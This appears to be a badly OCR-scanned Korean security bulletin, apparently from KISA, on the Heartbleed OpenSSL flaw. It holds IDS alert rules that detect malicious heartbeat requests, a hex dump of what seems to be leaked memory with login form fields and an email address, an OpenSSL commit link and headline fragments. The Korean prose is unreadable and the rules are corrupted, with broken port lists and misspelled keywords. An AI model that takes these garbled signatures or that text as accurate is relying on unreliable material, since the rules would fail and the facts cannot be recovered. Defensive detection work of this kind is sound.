alert tcp any any < > any
[443,465,563,636695,898,989,990,992,993,994 995, 2083,2087,2096,2484, 8443 8883,9091)
(content*|18 03 00|"; depth: 3; content"j01]"; distance: 2; within: 1;

content:!"|00]", within: 1, msg: “SSLv3 Malicious Heartbleed Request V2°;

ad: 1))

dlert tcp any any < > any
[443,465,563,636,695,898,989,990,992,993,994,995,2083,2087 2096,2484,8443 8883,9091)
(content.”[18 03 01]"; depth: 3; content:"|01]"; distance 2; within: 1;

content!"j00]", within: 1, msg: “TLSvl Malicious Heartbleed Request v2-,

sid: 2)

alert tcp any any < > any
[443,465,563,636695,898,989,990,992,993,994,095,2083,2087 2096,24584,8443 3883,9091]
(content*|18 03 02|, depth: 3; content:"|01]"; distance: 2; within: 1;

content:!"|00]"; within: 1; msg: “TLSv11 Malicious Heartbleed Request V2"

sd: 3)

% =% : FBI

(MH|A Ee] SH TS 22D

MH = SSL H|F|(Secret Key)7t SEEIUIS THsMS HIHE 2 Q17| THR0)| QISME ML U= S SR HE
F{2FE0) Chet =Xt 2i=E = AHSARES HIZHS HWaEE 700 2HFE AZE o8t 7t LihE EXlot= Y= 112
- OF2 H|Yo] B2 TET MEAIL| AZEE RE5= 0| &RUE(0] oIXl B|2HS HBS QU S

@768: 75 69 72 61 2€ 6D 6D 36 61 26 2E 79 70 6C 75 73 uira.mmbal.yplus
8770: 3D 26 2E 65 6D 61 69 6C 43 6F 64 65 3D 26 70 6B =&.emailCode=8pk
@780: 67 3D 26 73 74 65 70 69 64 3D 26 2E 65 76 3D 26 ge-A&stepid=&.ev=&
0790: 68 61 73 4D 73 67 72 3D 30 26 2E 63 68 68 50 3D hasMsgr=0&.chkP=
©7a0: 59 26 2E 64 6F GE 65 3D 68 74 74 78 25 33 41 25 Y&.done=httpX3AX
@7b0: 32 46 2 60 61 69 6C 6F 2E  2FX2FCFERIRVEL LN
8/¢0: 63 6F 6D '@ 64 3D /9 - 25 33 com&.pd=-ym_veril
0/de: 44 3 5 325 33 4 4 25 DEX26cX3UX26ivtX

@7e0: 33 44 25 32 36 73 67 25 33 44 26 2k 77 73 3D 31 3DX26sgX3D&.ws=1

a7f0: 26 7€ 63 70 3D 30 76 GF 7 1D 38 '_". e - : E_:‘_p'—ﬂaﬁf‘:ﬂ'&pad:

B800: 36 26 61 61 64 3D 36 26 60 6F 6/ bE bRaad=6&1login=ag
B810: 6t 65 bl 64 3 65 6k 6/ nesaduboatengid
©8820: 79 61 bF 2E 63 6F 6D 26 70 61

8830: 3D 30 =024

- &IA0|E
http://git.openssl.org/gitweb/?p=openssl.git:a=commitdiffh=96db902
KISAGHIHATISH)E Stt F2UE 05 &l
- KA1 21210| HE 85 KISA BE7I25E 842 22

48 o2ty L
718 02-405-5223 skj@kisaorkr
a2TE 02-405-5488 uhong@kisa orkr
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Adobe AR SOK Android 15.00302 % 0|H M
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- ol 2
HEL2X o 21A42| Adobe Flash Player desktop runtime AMEXt= 15.0.0.223 HESZ 2H0|E HE
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1.30]H

B Visa HIEFA] FI=2| Z, AZ[0| 0122 7t5d U0
UK Visa Contactless Cards Flaw Could Be Used in Fraud
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PoS Malware Hits Vending Machines and Electronic Kiosks
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